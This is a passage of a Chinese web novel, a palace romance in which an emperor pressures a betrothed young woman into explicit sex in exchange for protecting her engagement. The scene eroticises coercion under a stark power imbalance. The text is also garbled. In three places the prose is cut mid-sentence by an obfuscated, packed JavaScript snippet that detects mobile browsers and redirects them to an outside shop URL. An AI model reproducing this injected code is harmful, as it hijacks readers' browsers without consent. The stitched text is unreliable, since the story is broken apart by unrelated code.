她心中有鬼,小脸泛红,一上午,几近是一句多余的话都没与其它人说。她知晓,眼下这静颐居中怕是只有整日昏昏沉沉病着的荣安夫人或许不知,旁人已都知道了她和皇帝之间的关系。 到了下午,不知是巧合,还是外边有了什么风吹草动,静颐居来了一位美人。 美人姓陈,在后宫的品阶虽不甚高,但于柔兮而言,谁都比她高。 那陈美人说是来看望荣安夫人,但眼睛却时不时地一直在打量她。 柔兮心中有着股子不大好的预感,终是找到合适的时机和借口,出了门去。 她去了耳房,为荣安夫人煮茶。 前脚刚到不久,不想后脚便有人跟了过来。 人是那陈美人的贴身宫女。 柔兮看到她便心口一颤。 宫女唤名冬菱,笑吟吟地站在门口,与她说话。 “你是苏姑娘吧,听说苏姑娘很有才情,前些日子在百花宴中摘得芳婉,名动京城,今日一见果然名不虚传。” 柔兮淡淡地回了一笑:“姐姐谬赞了。柔兮不过略通皮毛,全凭太皇太后垂怜,加上几分运气,才侥幸得此薄名,实在当不起‘才情’二字,让姐姐见笑了。” 那宫女笑了声:“柔兮姑娘可是太谦虚了。” 说罢话锋轻轻一转,眼底带了点恰到好处的好奇,语气却依旧恭敬温和:“只是奴婢瞧着纳闷,柔兮姑娘几人不是被太皇太后召来抄写祭天祭祖的经文,旁人都在后宫佛堂,柔兮姑娘……怎么在这?” 柔兮便知她在这等着她呢。 既是已经经历过一次,此时倒是从容了不少,语声依旧平和,不疾不徐地作答,把先前对萧清沅说的话,又对她说了一遍。 宫女佯做恍然,接着便道了令柔兮心颤的话。 “听说柔兮姑娘已定了亲事啦,被许给了平阳侯世子!顾大人才貌双全,温文尔雅,年轻有为,前途无量,姑娘能得此良缘,可真是天大的福气啊!” 柔兮端着茶盏的手指轻轻一紧,骨节泛白,温热的茶水险些晃出盏沿,笑着答道: “多谢姐姐夸赞。” 宫女这话什么意思很是分明,便是在提醒她,她已经定了亲了,要恪守本分,知道些廉耻,别勾引陛下! 宫女未再相迫,听罢只是笑,也颇为小心,又与她聊了点别的,那陈美人便出了来。 柔兮马上微微颔首静立,未特意看她,却也看到了她的眼睛朝着耳房扫来,定在她身上的目光含着火一般,让柔兮局促不安。 适才她看到了这陈美人的相貌,人明眸善睐,瑰姿艳逸,生的很美。 是啊,这后宫之中哪个女人不美。 陈美人没与她说话,冷冷地唤了那宫女一声,宫女答应,而后便与她走了。 柔兮松了口气。 转眼天灰蒙蒙的,起了风,瞧着似是又要下雨。 柔兮在耳房一面继续煮茶,一面想着适才这事。 一种直觉,她在此处,是那萧清沅传出去的。 她十人被召入宫中誊抄经文一事不是秘密,很多人都知晓。 但第一日在后宫佛堂的时候掌事宫女便说过,这十五日她们没召见不能出去,而且誊抄经文本就需虔诚静心,也不会让外人随便到净莲轩。 所以,她出来的事里面都知道,外边是不大可能知道的,除非是那个萧清沅传的。 柔兮害怕,但觉这般下去不成。 如若真的传的人人皆知了,如此引人注目,萧彻又没有立刻和她断了的意思,他再来找她怎么办?时间久了,还怕不被人知道么? 但她要怎么办呢? 从刚才那宫女的言语间,柔兮听得出来,现下那陈美人还没有怀疑她已与皇帝有染。 陈美人只是来警告她,别勾引皇帝,或是陈美人也觉得皇帝把她唤出来侍疾有些微妙。 柔兮想了很久都没有拿定主意,这时外边下起了细雨,天暗了下来。 她突然灵光一闪有了法子。 她能怎么办,这又不是她一个人的事。 萧彻得给她解决吧。 他总不能自己快活着还不够,还……真的毁了她! 柔兮瞧着天下了雨,雨势不小,没一会儿便烟雾蒙蒙的,但觉是个机会,或许她可以撑伞出去一趟,去见萧彻,无论是雨还是伞,都正好可以为她遮身,让她不那么引人注意。 想着,茶也已经煮好,柔兮将东西端到了正房。 而后又服侍了荣安夫人一会儿,她便借故出去了。 回到自己的房中,柔兮特意换了件和宫女衣装颜色相近的衣服,拿了伞,出了去。 她没立刻离开静颐居,而是去找了其中的一名宫女。 那宫女唤名迎春,柔兮看得出,她早就知道了萧彻的意图,是萧彻为这事,安置在这的一个新人。 原柔兮想过让这迎春去唤萧彻,但又一想,第一萧彻未必会理她;第二他来了要是又要做那种事,她当真是没事找事,引狼入室,哭都找不着调。 这个时辰,皇帝大抵会在书房,她去了,可说完请求便走,如此最快,也最简单。 此番先见迎春是再确定一下御书房的位置。 那迎春并未多问,只她问什么答什么。 柔兮知道了确定了个大概便撑了伞,趁着这会子出了去…… 她行在雨中,一直朝南,一路小心翼翼,尽量避着人,许久之后终于到了那御书房附近…… 21.第二十一章 第二十一章 柔兮立在了远处的廊柱之后,隔着氤氲水雾朝着御书房望去。 九级汉白玉阶之上,墨绿琉璃瓦泛着湿冷的幽光。 殿前八名御前侍卫按刀而立,玄甲蒙着水汽,刀鞘纹饰在雨幕中隐隐泛着金芒,远远瞧着肃穆又森严。 柔兮指尖微微收紧,又想起了那男人,竟是生出几分悔意。 但下午所历之事显然更急,绝对拖不得。 念及此,柔兮也便横了心,快步走出廊道。 到了玉阶前,她向护卫报了姓名,劳其通报。 护卫离去,柔兮立在雨中安等。 没过一会儿,侍卫返回,一起过来的还有萧彻身边的近侍赵秉德。 “赵公公……” 柔兮缓缓一福。 赵秉德右手虚抬着扶住她的臂弯,一如往常很客气,但语声颇急,动作亦然:“柔兮姑娘不必多礼,柔兮姑娘怎么来了?” 说着,引着她往旁处走了走,压低声音道:“柔兮姑娘,陛下不喜女子来御书房。 ” 柔兮听到这话,立马便怕了,神色惶然,刚要张口说回去,赵秉德后一句话已经出口:“柔兮姑娘记得下次无召见不要来了。今日陛下允了您进去,快随咱家进去吧。” 柔兮心里七上八下,本想那就不见了,如今却是不见也不成了。她声如蚊蚋地应了个“是”字。 “多谢公公提点……我知道了。” 赵秉德不再多言,只略一颔首便转身引路。 柔兮不敢怠慢,敛声静气,垂下眼睫,小心翼翼地跟在他身后半步之遥,随他进了大殿。 此番是她第二次踏入御书房。 不同于上一次,俩人已经有染,关系微妙难言,心中又有事相求,加之适才被赵秉德提点过他不喜欢女子无召见前来御书房,一时之间几重难处交叠心头,柔兮本就怕他,无疑更怕了。 到了大殿正中,她福身拜了下去:“臣女恭请陛下圣安。” 萧彻正在批阅奏折,并未抬眼,只沉声问话:“何事?” 柔兮听着他语声很冷淡,心里更加发憷,忐忑不已,但事已至此,不得不言。他对她冷待便冷待,疏离便疏离,只要肯出手相助便好。 柔兮也不愿迂回,很想速战速决,早说完,早离开。如此想着,她也便开门见山地张了口: “臣女遇着些难处,恳请陛下垂怜相助……” 小姑娘一面细声说着,一面悄悄抬眸,小心翼翼地朝御座之上的男人望去。 但瞧那男人依旧未曾抬眸看她,合了手中的折子,扔掷在一旁问道:“到底何事?” 柔兮直言相告,将前几日天黑后听到莫名动静、萧清沅几次三番地造访静颐居,最后一次到底是与她见了面、及着确定了她在此处后的第二天,也便是今日上午静颐居便来了他一位妾室的事悉数道来。 “臣女恳请陛下施以援手,莫让萧小姐再散布臣女被安置在静颐居的消息。” 她娇娇滴滴,声线甜软,微微垂头,一点一点地把想说的话都说了。 说的虽没那么直白,只是叙述事情,但其中深意却再明白不过。 便是要萧彻守他二人的秘密。 柔兮始终低眉顺目,并未抬头,但知道自她开口,说到关键处,那男人便停了手上的政务,背脊缓缓靠在了龙椅上,听她说了起来。 待全部说完,她才悄悄抬起小脸朝他望去。 但瞧那男人姿态慵懒,倚在那,手臂搭在扶手上,修长的手指正在有一搭无一搭地轻点,良久方才张口:“没了?” “没……没了。” 柔兮颤颤地回答。 那男人抬了手,他身旁的赵秉德弯身退了下去。 柔兮惴惴地朝着他望着,眼睛瞧着他垂眼眯着她,退下了那招秉德后动了手指,朝她勾了勾,却是让她靠近之意。 柔兮顿时浑身上下涌上一股子热汗,脚像是定在了原地似的,半天没抬起来,但瞧他面色不虞,看不出情绪,怕极了惹怒了他,终是迈动了脚步。 她朝他走去,依他意思,停在了玉案前,台阶下,仰着小脸看着他。 俩人相距一臂远,萧彻随着她靠近,长睫如扇,缓缓地垂下了,居高临下地睨着她,语调徐徐,特意拉长了声音,再度张了口:“所以,朕是你的奸夫?” 柔兮心口一颤,浑身都跟着哆嗦了一下,手扶住了桌案,摇头,软糯的声音从口中嚅出:“臣女,不是那个意思。” 萧彻慢慢探身,手臂朝前,很轻松地便抓住了她的手腕。 他只微一用力,柔兮便被她拽动,一下子背身入了他怀,坐在了他的身上。他的手臂慢条斯理地环住了她的肩膀,底下头去,语声中仿若含了抹笑,一抹充满着玩味与戏谑的笑。 “是也无妨。” 柔兮不知道他要干什么,浑身上下已如烧着了般,然就在这时,还未来得及张口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667820|185919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回话之际,殿外传来赵秉德的声音: “陛下,平阳侯求见。” 柔兮瞳孔骤然一放,心差点没从口中跳出,转而人便慌张地转身,娇喘连连,朝向萧彻:“陛下,陛下,求您,求您……” 与她的紧迫恰恰相反,他唇角含笑,饶有兴致地看着她。 “那么怕被他知道?” 柔兮点头,重重地点头。 平阳侯是她未来的公爹,那日定亲的时候,俩人自然见过面。眼下他不知因何事面圣,如若给他看到她在萧彻的书房,脸颊烧红,这般模样! 傻子也知他二人有染! 给平阳侯看到与给顾时章看到有什么区别? 柔兮当真是想死的心都有了! 她怎能料到,她来求他帮忙,是来与他说事的,他也能轻薄她,更怎么也没料到,偏偏巧之不巧,平阳侯恰好这会子来了! 萧彻难道还真的要她与平阳侯见面么? “求您,陛下……” 柔兮要哭了,泪珠已在眼眶中盈盈欲坠。 这时,那男人终于松了手,放开了她,也恢复了一贯的模样。 他微一侧首,目光朝后。柔兮顺着他的视线望去,这才发现后方立着一扇绢素屏风。她慌忙从他身畔起来,连凌乱的衣襟都来不及整理,便踉跄着奔向屏风之后。 绕过屏风,暖香萦绕,是一处精巧卧房。软枕叠放,龙纹锦被铺陈,一望便知,是皇帝于繁重政务之余,暂解龙乏、养神静心之处。 柔兮靠墙躲着,心口“砰砰”乱跳,当真是后悔极了,早知她说什么也不会来。 不时听得殿上传来脚步声,平阳侯顾清和的声音传来。 柔兮心神恍惚,俩人的话语一会儿能传到她的耳中,一会儿传不到,断续只听见了几句对答,皆关乎公务。 她自然无心细辨,只怔怔倚着屏风,指尖无意识地攥紧袖缘。 好一会儿方终于听到了顾清和告退的声音。 柔兮如梦中初醒,那一片乱嗡嗡的杂音渐渐散去,神思终于归于清明。 也正是这时,脚步声传来。 柔兮朝着门口望去,果不其然,萧彻的身影渐近。 男人负手缓步进了来。不待柔兮张口,他先说了话。 “所以那些本事,是顾时章教你的……” 话说完,俩人的视线便就对了上。 柔兮罕见地从他的眸子中看到了几分笑意…… 22.第二十二章 第二十二章 那笑充满着戏谑之感,不难看出,谁教她的,他并不在意。 他只是单纯地想轻薄逗弄她。 柔兮小脸发烫,下意识摇头。 “不是。” “哦?那是谁?” 言语间,那男人已经坐到了榻旁的桌前。 柔兮不知怎么回答,又没办法实话实说,一时间支支吾吾,最后终是磨蹭了过去。 萧彻唤了她:“过来。” 柔兮抬眸朝他看去,那男人也正看着她。 他神情寡淡,向来不怒自威,语声中充满着让人不敢不从的威严。柔兮浑身热汗,暗道自己倒霉,眼下别无它法,也只能认下这倒霉,移步过了去。 到了他身侧,他不紧不慢地拉住了她,把她背身摁在了腿上。 柔兮转瞬便又入了他怀,他大得很,胸膛靠近过来,单臂环住她,柔兮便整个人都被他束在了怀中。 “所以,你还想嫁他?” 他一面说,另一只手一面解开了她的衣服。 “陛下……” 柔兮浑身轻颤,当即意识到了他要做什么,心口擂动如鼓,难掩惶然。 她又天真了,没想到大白日,在书房,他也能想做那种事,一时之间惊的忘了回答,但听那男人的声音复又响起。 “嗯?” 柔兮喘息急促,他动作颇轻柔,但手指每碰她一下,她都要哆嗦,双腿乃至全身很快就酥酥麻麻了起来,想着分散注意,分散注意,乱嗡嗡的脑中终于忆起了他问的话,软糯糯地应声: “嗯。” 萧彻的声音再起:“很喜欢他?” 柔兮的脑子几近不转了,颤颤地点头:“是。” 萧彻“嘶”了一声:“给朕讲讲,你和他的故事。” 说着已扯去了柔兮的衣裙。 小姑娘香肩微露,雪白的肌肤露在外边,只剩了小衣。 她和顾时章哪来的什么故事。 不过就是几个月前,她怕被她爹抬给康亲王,机缘巧合遇上了顾时章,急病乱投医,看上了顾时章的皮囊,又素知他人品很好,在京城十分有名,就,就勾搭了他。 顾时章可不比他要好得多! 原本她应该日后过着和顾时章举案投眉,恩恩爱爱,郎情妾意的好日子,自己又能当世子夫人,又能一辈子荣华富贵,衣食无忧,有人庇护,也能让江如眉苏明霞羡慕妒忌她,简直没有比之再好,如今成了什么? 一想到这,柔兮便更觉着急。 但依旧,还没等到她答,那男人结实的手臂揽住了她的腰肢,已然将她凌空抱起,旋身让她面朝向了他。 骤然对上他的目光,柔兮只想往地缝里钻,柔荑下意识遮住了身前的春光,青丝如绸,垂至纤腰,樱唇娇艳欲滴,一双眸子,含着水一般,怯生生地望着他:“没,没什么故事。” 她的声音愈发地小,也愈发的柔软。 事已至此,她已无路可逃,这荒唐事眼下也是必然要做了,与其让他一直打趣着她,说着些有的没的,不若把话题转向自己这边,再提此番登门恳他之事。 “所以,臣女适才所言,陛下可帮臣女么?” 萧彻背脊徐徐地靠向了椅背:“可以。自己动。” 柔兮耳尖骤红,脸颊登时烧得发烫,刚刚高兴,又一种惊慌涌上心田。 但那男人就那么倚在那,看着她。 脸上的红晕一路蔓延至脖颈,连着纤细的锁骨都染上了薄薄的绯色,柔兮不敢再看他的眼睛,心口起伏,好一会儿,迟疑着慢慢地从他身上下了去,鼻息之间嗅着他身上的龙涎香,颤抖的指尖抬起,落在他玄色的腰封上,一点点为他解开。 细微的金属摩擦声在寂静的书房里被无限放大,敲打着她紧绷的神经。她几乎是屏着呼吸,纤指摆弄了半天,方才打开,旋即摸到,也看到了什么。 柔兮抬了眼去,咬上了柔荑,摇了摇头,语声中满含哭腔。 “臣女,不,不会。” 萧彻一言没发,摩挲着手上的玉扳指。 不会么?梦中,她可是会的很。 柔兮双腿发软,眼泪汪汪地就要哭了。 但瞧那男人没言语,她也不敢再说再拖,终是硬着头皮,抬膝轻跨,咬着唇瓣坐了上去。一瞬间的触感让她几乎惊跳起来,全身的力气都像被骤然抽空,稣麻感从原始的地方凶猛窜开,席卷四肢百骸。 呜咽逸出喉间,细弱得如同小猫,她看着他,根本不知该如何动作,整个人像是被架在火上烤,又像是漂浮在云端。 萧彻喉间溢出一声极低的笑:“这就受不住了?” 他的声音带着一丝戏谑的沙哑,抬手扯下了她身上仅剩的小衣,勒令道:“动。” 柔兮脑中更是一片空白,但只能依循着本能,生涩、缓慢地移动起伏,不时到底还是哭了出来,贝齿咬上了柔荑,看着那男人,但头脑还存着一丝清醒,趁机抽噎着询问她最关心的事。 “陛下会……会……会保臣女的亲事的,对么?” 萧彻抬手,捏住了她软柔的雪股,拍了一下,沉声:“你再卖力些,朕告诉你。” 柔兮喘息更急,烧着小脸,接着依他之言,使出了最大气力。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672839|185919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 窗外细雨绵绵密密,哗哗滴落,书房内檀香袅袅。她好似一叶无助的扁舟,在由他掀起的惊涛骇浪里浮沉。 良久之后,书房内叫了水。 柔兮裹了件他的披风,浑身汗湿,额际尽汗,整个人仿若在水中浸过一般,光着小脚蹲在他适才坐过的椅上,颤抖连连。 那男人背身清洗过之后,换了宫人给他新拿来的衣裳。柔兮脑中犹在乱嗡嗡的,一塌糊涂。一连几番,萧彻的行为加之话语,柔兮确定了自己先前的猜测。 他是无所谓旁人知不知道的,尤其宫中的人。心情好了,他便遮掩遮掩,不愿遮掩了,也无所谓谁知不知道。 毕竟,就算谁知道了,也不会有人敢外传,更不会有人敢说他什么。 柔兮便不同了。 如若真有那日,别人揭发她的时候,不会牵扯出皇帝。 为维护皇帝的名声,随便拉个男人出来栽赃就成了。 总归柔兮跳进黄河也洗不清,萧彻若薄情到底,腻了那天,杀了她也是有可能的。 柔兮越想越想哭,老天爷!自己也太惨了! 本来已经不哭了,这会子没控制住,又抽噎了一声。 这一声引来了那男人的注意。 萧彻侧头斜瞥,朝她看了一眼。 柔兮心肝乱颤,马上抓住了机会,也为了掩饰那一声抽噎,开口软声问着: “陛下,还没回答臣女……” 萧彻自然知道她问的是什么。 男人听罢转回了视线,徐徐地整个人都转了回来,负过手去,垂眼看着她。 他很满意她的身子。 既是又有梦境作为指引,原他有意纳她入后宫,给她个美人的名分。 但她很喜欢那顾时章,一心想嫁他。 心不在他身上的女人,他也不会给她名分。 他瞧了她两眼,薄唇轻启,答了话:“你那么喜欢他,朕怎么忍心拆散你们。” 柔兮听得他这话,心中顿时宽缓了不少,眼睛微亮。 这意思便是说,他会保他二人的婚约。 柔兮顺着此话题,语气带着几分怯意与试探,接着小心翼翼地问了下去: “那臣女与陛下的缘分何时休?” 问完之后,又马上补充了句:“可是佛经誊抄结束之日?” 她说完,那男人便沉沉地笑了出来。 柔兮心肝乱颤,一哆嗦,怕的要死,生怕自己说错了话,惹他不悦。 好在并未。 萧彻长睫如扇,微微打开,又慢慢地垂了下去,睨着她,轻描淡写:“好啊。” 23.第二十三章 第二十三章 柔兮听罢潋滟的眸子刹时更亮,心口“咚咚”乱跳,没想到他答应了。 那便是说还有五日,俩人就可以结束这荒唐的关系了。 柔兮俯身点头:“是,臣女知道了。” 她心中乐开了花,悬着的心终于落下,但再欢喜也不敢表现出来。她不能表现得太高兴,也不能表现得舍不得,需拿捏着分寸。 柔兮垂着眼帘,羽睫轻颤,微微抿了下唇,小脸烧红,恭顺平静,温良静默,没再说话。 这时,被传唤来的宫女到了。 萧彻未再停留,只又淡淡地瞥了她一眼,便抬步出了去。 柔兮被进来的宫女服侍着清洗、擦拭、穿衣、整理头发。 待一切结束,也出了去,绕过屏风,她到了前殿,抬眼,小眼神恭恭敬敬地朝着萧彻望去,缓缓一福,声音更是柔上加柔: “臣女告退。” 萧彻看都没看她,喉间滚出一声低沉的:“嗯。” 柔兮起身,温顺地离开了去。 出了御书房的门,她便加快了脚步,即便还在下雨,也迫不及待一般,恨不得跑起来! 返回北宫静颐居,进了自己的卧房,她松了口气。 将将过了一个多时辰,眼见着黄昏将近,柔兮又去找了那被萧彻特意安置在此的迎春,求她出去帮她打探一下萧清沅是否还在宫中。 萧清沅这几日一直在宫中一事,是柔兮根据发生的种种,推测出来的。 她记得百花宴的时候听谁说过,萧清沅和宫中的一位小公主交好。即便是宗室女也不可能日日进宫,何况她还是个身份低微的宗室女,所以,柔兮料定,她应该是近来一直陪伴着某位公主,住在了某位公主处。 小半个时辰后,迎春打探到了消息回来。 果然如柔兮所料,那萧清沅之前真的一直在宫中,但一个时辰前,被萧彻找借口,撵了出去。 至此,柔兮也算安了心,还有五日,至少不会再有人心怀不轨,在宫中乱传她的事了。 ******* 深夜,景曜宫。 绵绵细雨已歇,水珠顺着殿檐滴答落下,发出空濛回响。 帝王寝殿内诸烛尽灭,唯有一盏立于龙榻一旁,吐纳着昏黄的光晕。 龙榻上,锦帐低垂,萧彻裸着精健的上身,已然就寝。 床头鎏金镶玉的托盒中,盛放着他今日佩戴过的物品。其中,半枚合欢花佩在烛影的掩映下微微泛光。 良久,萧彻猛然睁开眼睛。 虽只是锦褥微动,却也立即惊醒了榻边浅眠守着的赵秉德。 太监慌忙起身:“陛下……陛下可安?” 萧彻薄唇紧抿,半垂的眼底晦默如渊,烛影在他轮廓分明的面容上晃动,辨不清其中情绪。 萧彻没答太监的话,起了身,不时,冷声让太监给他备了沐浴用水。 半刻钟后,男人已入了浴房,昂藏的身躯沐在汤池中,眼眸半阖。 不错,他又梦到了那个女人。 但不同于以往,第一次,做的不是什么春/梦。 只是一个背影,一个她跪在佛前的背影…… ******* 五日转眼过了四日。 柔兮掰着手指算着日子,做梦都想快点离开皇宫,结束这场荒唐。 四日来,她战战兢兢,每日都怕静颐居来人,生怕再见到萧彻。 所幸,那男人没再来,也没再召见她,想来是对她厌了,腻了。 如此正好,他二人真的就要结束了。 最后一日,柔兮从早开始便坐立不宁,心似悬旌,生怕有变。 挨到午后,那男人也没派人过来把她送回静莲轩,柔兮实在忍不住,临近黄昏,大着胆子叫迎春代她去问了他,问他她是否今晚便可回静莲轩。 宫女回来,带来了好消息,柔兮心底狂喜,到底是被送了回去。 至此,她无比忐忑的心终于归于安宁。 为何非前一晚回去,除了明日一早能同众女一起离宫外,于柔兮而言自然还有一个缘由。 她要为自己圆谎,做一番周全解释,不想旁人满腹怀疑地离宫,到时候对她妄加揣测,说三道四。 果不其然,她刚刚返回静莲轩,便被众女围了上。 柔兮意料之中,眼下也求之不得,微微笑着,娇娇滴滴,绘声绘色地编着瞎话,维护着自己的名声与周全。 一面说,一面小眼神灵动,观察着众人,发觉除了那丞相之女林知微与太师之女沈若湄外,其它七人都在。 一番下来,没人提出质疑,多问她什么,气氛欢跃,瞧着大家也是都信了。 柔兮彻底松了口气,当夜轻哼着小调,美滋滋地入了睡。 第二日一早,十人一起面了太皇太后,继而便被送出了宫,一切安然,就像什么都没发生一样。 柔兮谢天谢地,当真是谢天谢地了! ********* 正午,她到了苏家。 接她的依然就只有兰儿与长顺两人。 俩人跟在她身边,滔滔不绝,与她讲着这十五日的欢欢乐乐。 最大的喜事,自然要属她名声鹊起一事。 半个月来,她与那林知微、沈若湄三人是京城之中最炙手可热的谈资,说句名动京城毫不夸张。 柔兮当然欢喜,也当然爱听。 谁人不愿名利双收,出人头地! 俩人你一言我一语,争先恐后,抢着说,待得到了那青芜苑,那些个事也便说完了。 兰儿说起了最后一件:“姑娘,顾世子明日便回来了。” 柔兮正沉浸在窃喜之下,心中美滋滋,突然听得兰儿说起了这个,手指微微一颤,小脸泛红,心中有鬼,有点期待,又有点害怕,蓦地就呆了一下。 兰儿亲眼瞧见,唤了她一声:“姑娘?” 柔兮立马回神,当即笑盈盈地回口,声音又小又软绵绵的。 “太好了。” 返回房中她便把兰儿支了出去,自己呆会,平复一下心情。 ******** 另一边,江如眉房中。 苏明霞拿着帕子,抹着眼泪,呜呜地哭。 “烦死了,烦死了!女儿想起她那副狐媚的样子就心烦!还真是小人得志,她算是出尽风头了!当初竟敢骗我,跟我谎报考绩!哪还有天理!现在顾世子就要回来了,还有四个月,那个小贱人就要嫁过去了!到时候她还不得得意死!可怎么办啊!” 江如眉也心里恶心着呢,听苏明霞说完没好气地将桌上的茶杯厌弃地拂去了一旁,茶杯滴溜溜打了个转,险些掉在地上。 那个小贱人何止是骗了她的女儿,也骗了她! 江如眉这几日也是参透了。那苏柔兮一肚子坏水,当初怕是早就识破了她的计划,看出了饭菜被她做了手脚,根本就没吃她送去的膳食,不仅没吃,还跟她演戏,把她给迷惑了! 江如眉真是恨不得掐死那个小贱蹄子! 她给她等着! ******** 柔兮没功夫理会江如眉母女。 她有更大的烦恼,更大的隐患。 对于顾时章,眼下她既想见,又不想见,生怕自己在他面前露馅,不打自招,给他看出什么端倪。 当日,一下午,她都在想此番见到顾时章应该怎么办。 越想越着急,也没想出什么好法子。 第二日,一大早柔兮便听长顺说顾时章进京了。 小姑娘心肝乱颤,坐立难安。 顾时章官拜正四品御史中丞,位列台垣,典掌宪纲。 前阵子奉命下江南办案,与她刚定完亲事人就走了,为今已经离京两个多月。 此番回来,他自然是得先进宫面圣…… 面圣…… 柔兮一想到“面圣”二字,掌心顷刻一层热汗,更加忐忑。 直到转念再一想那狗皇帝答应了她会保她婚事,她方才又稍微安心些许。 所以,柔兮不知道下午顾时章会不会来看她。 他会不会来,她不知晓,比他先来的是两位官家小姐。 下午,罕见,破天荒,苏府来了人拜访她。 长这么大,柔兮还是第一次被人拜访。 来人是那国子监博士之女廖素素与百花宴上位列第九的太史令千金宋轻絮。 见到廖素素,柔兮倒觉亲切。 不比在宫中整日怕掉脑袋,步步谨慎,廖素素活泼了许多,话也多了不少,话语间满是真切热络。柔兮瞧得出来,她是真心实意来探望自己的。相比之下,另一个,很是明显,怕不是,是那林知微让她来的吧。 柔兮记得她二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678512|185919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人彼时走的很近。 果不其然,三人说说笑笑,闲话些闺阁趣事,气氛倒也融洽,可聊着聊着,那宋轻絮便转了话题,不动声色地提起了她被皇帝调去照顾荣安夫人一事。 “不想柔兮姑娘才情卓绝,不仅棋琴书画样样精湛,在百花宴上赢得‘芳婉’,竟还通晓岐黄之术,实在令人佩服,只是,诶?陛下怎知晓姑娘懂得医术的呀?” 柔兮听她说完,登时一身热汗,但莞尔浅笑,端住了:“宋小姐谬赞了,我不过知晓些医术皮毛,算不得通晓,我也不知陛下怎知,或许我爹和他说过吧……” 宋轻絮“啊”了一声,故作恍然,接着笑道:“柔兮姑娘太谦虚了,懂便是懂,皮毛陛下便不会唤你去了,照顾病人,于柔兮姑娘而言,岂非大材小用?” 她说着掩唇笑了起来,接着细臂朝着柔兮一伸,笑意盈盈地望着柔兮:“说来也巧,我近日总觉身子倦怠不适,不如烦请柔兮姑娘为我诊诊脉,可好?” 柔兮心头当即“咯噔”一下。 她哪里会这个,宋轻絮分明是在试探她。 还不待她想好说辞,身旁的廖素素先张了口,轻推了那宋轻絮一下:“来玩的,诊什么脉,谁要给你诊脉呀!” 柔兮顺势借坡下驴,脸上漾开一抹浅淡笑意,将此事圆作玩笑:“正是这话,不过是些纸上谈兵的粗浅见识,可不敢在叶小姐面前班门弄斧了。” 话音刚落,院外传来轻细的脚步声。 兰儿掀帘而入,瞧着柔兮敛衽福了一礼,眉眼带笑地小声道: “姑娘,顾世子来了……” 柔兮脑中顷刻“轰”地一声,耳边瞬时浮现出两个声音:一个是想见,一个是不想见! 廖素素与那宋轻絮听罢,双双起身,笑着打趣了一番,没一会儿便识趣地告辞了。 柔兮心口“砰砰”乱跳。 俩人前脚走了,后脚她便慌乱地去了镜前整理妆容,然后跑的极快,匆匆地出了门去,一路直奔花园。 待得到了,远远地她便看到了顾时章负着手,长身玉立在花间,只一眼,柔兮心中便浮现了几个字:太,太俊了! “顾郎……” 她快步过去,绕到他所在之地,红着小脸,从他身后娇滴滴地唤了一声。 顾时章怔了一下,转过头来。 俩人对上了视线。 柔兮脸颊发烫,笑吟吟地瞄了他一眼,又微微低下了头,剥葱般的纤指抬起掖了一下头发,娇媚至极。 顾时章耳尖霎时染了层薄红,手指不自觉攥紧,悄然拢成拳状,抬至唇边轻咳一声。 转眼间,那小人儿已经款款而来。 她仰起了脸,看向他:“顾郎怎么不说话?” 顾时章不甚健谈,但听她说完,已然意识到自己有些蒙了,堪堪回神,开了口:“你近来可好?” “好好好!” 柔兮当即便答了话,心中有鬼,小眼神有些飘忽不定,一时间百感交集,心中颇乱。 暗道:她一定以后跟他好好过日子,好好对他!她也知骗人不对,但是她怎么办?婚事吹了,她爹一定会把她抬给康亲王。一旦嫁了那老头,她这辈子不就毁了。 还能真跑了么? 哪那么容易呢? 她无辜弱小,身份低微,自己也保护不了自己,还想过好日子,又爱慕虚荣又贪财,更想当世子夫人。 她就卑劣这一次,就这一次! 要怪也得怪萧彻不是。 她又不想,是萧彻逼她的。 那个狗皇帝,太,太不是人了! 若不是他,她好端端的哪能多了这烦恼。 越想柔兮越释怀,也便越镇静,娇滴滴地笑着,问着他在江南这两个月的日子,与他攀谈起来。 俩人立于姹紫嫣红的花丛间,一个娇娇媚媚、语笑嫣然;一个沉静内敛、略显拘谨。这般一媚一敛,竟足足闲谈了一个多时辰,周遭花香萦绕,时光悄悄淌过。 分开之前,柔兮软声相邀:“顾世子,明日城中集市该是热闹的,不知你有闲暇否,可愿与我一同去逛上一逛?” 明日皇帝祭天,城中集市会有短时戒严,未必热闹,但恰是因为皇帝祭天,他方才休沐,倒是得空,也极为愿意再见她,与她共游,是以,顾时章开口,有礼地应了下…… “苏姑娘,那便明日见。”